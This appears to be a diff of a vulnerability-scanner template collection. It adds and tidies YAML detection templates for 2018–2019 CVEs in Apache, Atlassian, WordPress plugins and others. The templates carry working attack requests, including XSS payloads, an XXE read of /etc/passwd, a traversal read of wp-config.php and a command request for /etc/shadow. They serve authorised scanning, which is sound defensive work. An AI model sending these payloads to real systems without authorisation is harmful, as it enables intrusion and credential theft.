+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "phpinfo"
+          - "PHP Version"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,21 @@
+id: CVE-2018-8006
+
+info:
+  name: Apache ActiveMQ XSS
+  author: pd-team
+  severity: medium
+  tags: cve,cve2018,apache,activemq,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68'
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"><script>alert("1")</script>'
+      - type: word
+        words:
+          - "/html"
+        part: header
@@ -0,0 +1,29 @@
+id: CVE-2018-8033
+
+info:
+  name: Apache OFBiz XXE
+  author: pikpikcu
+  severity: high
+  description: XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04
+  tags: cve,cve2018,apache,ofbiz,xxe
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,36 @@
+id: CVE-2019-0221
+
+info:
+  name: Apache Tomcat XSS
+  author: pikpikcu
+  severity: low
+  reference: |
+    - https://seclists.org/fulldisclosure/2019/May/50
+    - https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
+  description: |
+      The SSI printenv command in Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and
+      7.0.0 to 7.0.93 echoes user provided data without escaping and is,
+      therefore, vulnerable to XSS. SSI is disabled by default.
+      The printenv command is intended for debugging and is unlikely to be present in a production website.
+  tags: cve,cve2019,apache,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "<script>alert('xss')</script>"
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,21 @@
+id: CVE-2019-0230
+
+info:
+  name: Apache Struts RCE
+  author: geeknik
+  description: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.
+  reference:
+    - https://cwiki.apache.org/confluence/display/WW/S2-059
+    - https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability
+  severity: high
+  tags: struts,rce,cve,cve2019
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?id=nuclei%25{128*128}"
+
+    matchers:
+      - type: word
+        words:
+          - "nuclei16384"
@@ -0,0 +1,16 @@
+id: CVE-2019-10092
+
+info:
+  name: Apache mod_proxy HTML Injection / Partial XSS
+  author: pd-team
+  severity: medium
+  tags: cve,cve2019,apache,htmli
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/%5cgoogle.com/evil.html'
+    matchers:
+      - type: word
+        words:
+          - "<a href=\"/\\google.com/evil.html\">"
@@ -1,11 +1,12 @@
-id: cve-2019-1010287
+id: CVE-2019-1010287

 info:
  name: Timesheet 1.5.3 - Cross Site Scripting
  author: pikpikcu
  severity: high
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
+  tags: cve,cve2019,timesheet,xss

-# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
 # Google-Dork: inurl:"/timesheet/login.php"
 # Demo: http://www.mdh-tz.info/

@@ -1,9 +1,10 @@
-id: cve-2019-10475
+id: CVE-2019-10475

 info:
  name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
  author: madrobot
  severity: medium
+  tags: cve,cve2019,jenkins,xss

 requests:
  - method: GET
@@ -1,9 +1,10 @@
-id: cve-2019-11248
+id: CVE-2019-11248

 info:
  name: exposed_pprof
  author: 0xceeb
  severity: medium
+  tags: cve,cve2019,debug

  # https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
  # http://mmcloughlin.com/posts/your-pprof-is-showing
@@ -1,10 +1,11 @@
-id: cve-2019-11510
+id: CVE-2019-11510

 info:
  name: Pulse Connect Secure SSL VPN arbitrary file read vulnerability
  author: organiccrap
  severity: high
-  # https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
+  reference: https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
+  tags: cve,cve2019,pulsesecure,lfi

 requests:
  - method: GET
@@ -1,9 +1,10 @@
-id: cve-2019-11580
+id: CVE-2019-11580

 info:
  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
  author: dwisiswant0
  severity: critical
+  tags: cve,cve2019,atlassian,rce

  # Atlassian Crowd and Crowd Data Center
  # had the pdkinstall development plugin incorrectly enabled in release builds.
@@ -24,7 +25,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
-      - "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
    matchers-condition: and
    matchers:
      - type: word
@@ -6,9 +6,7 @@ info:
  author: ree4pwn
  severity: critical
  reference: https://github.com/jas502n/CVE-2019-11581
-  product: Jira
-
-  # This is detection template only, use the referenced link for the exploitation.
+  tags: cve,cve2019,atlassian,jira,ssti,rce

 requests:
  - method: GET
@@ -35,4 +33,10 @@ requests:
      - type: word
        words:
          - "Contact Site Administrators"
-        part: body
+        part: body
+
+      - type: word
+        words:
+          - "has not yet configured this contact form"
+        part: body
+        negative: true
@@ -0,0 +1,45 @@
+id: CVE-2019-11869
+
+info:
+  name: Yuzo Related Posts plugin XSS
+  author: ganofins
+  severity: medium
+  description: |
+    The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS
+    because it mistakenly expects that is_admin() verifies that the
+    request comes from an admin user (it actually only verifies that the
+    request is for an admin page). An unauthenticated attacker can inject
+    a payload into the plugin settings, such as the
+    yuzo_related_post_css_and_style setting.
+
+    References:
+    - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
+    - https://wpscan.com/vulnerability/9254
+  tags: cve,cve2019,wordpress,wp-plugin,xss
+
+requests:
+  - raw:
+      - |
+        POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/x-www-form-urlencoded
+
+        yuzo_related_post_css_and_style=</style><script>alert(0);</script>
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Upgrade-Insecure-Requests: 1
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_2, "<script>alert(0);</script>") == true'
+
+      - type: dsl
+        dsl:
+          - "contains(tolower(all_headers_2), 'text/html') == true"
@@ -1,9 +1,10 @@
-id: cve-2019-12314
+id: CVE-2019-12314

 info:
  name: Deltek Maconomy 2.2.5 LFIl
  author: madrobot
  severity: high
+  tags: cve,cve2019,lfi

 requests:
  - method: GET
@@ -1,13 +1,14 @@
-id: cve-2019-12461
+id: CVE-2019-12461

 info:
  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
  author: pikpikcu
  severity: medium
+  tags: cve,cve2019,xss

 # Vendor Homepage: https://webport.se/
 # Software Link: https://webport.se/nedladdningar/
-# Refrence: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
+# reference: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS

 requests:
  - method: GET
@@ -1,9 +1,10 @@
-id: cve-2019-12593
+id: CVE-2019-12593

 info:
  name: IIceWarp <=10.4.4 - Local File Inclusion
  author: pikpikcu
  severity: high
+  tags: cve,cve2019,lfi

  # reference: https://nvd.nist.gov/vuln/detail/CVE-2019-12593
  # Google Dork:-Powered By IceWarp 10.4.4
@@ -1,4 +1,4 @@
-id: cve-2019-12725
+id: CVE-2019-12725

 info:
  name: Zeroshell 3.9.0 Remote Command Execution
@@ -12,6 +12,7 @@ info:
  references: |
    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
+  tags: cve,cve2019,rce

 requests:
  - method: GET
@@ -0,0 +1,24 @@
+id: CVE-2019-14205
+info:
+  name: WordPress Ext Adaptive Images LFI
+  author: pikpikcu
+  severity: high
+  tags: cve,cve2019,wordpress,wp-plugin,lfi
+  reference: https://github.com/security-kma/EXPLOITING-CVE-2019-14205
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "DB_NAME"
+          - "DB_PASSWORD"
+        part: body
+        condition: and
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,20 @@
+id: CVE-2019-14223
+
+info:
+  name: Alfresco Share Open Redirect
+  author: pd-team
+  severity: low
+  tags: cve,cve2019,redirect
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/share/page/dologin'
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: success=%2Fshare%2Fpage%2F&failure=:\\google.com&username=baduser&password=badpass
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?google\\.com(?:\\s*)$"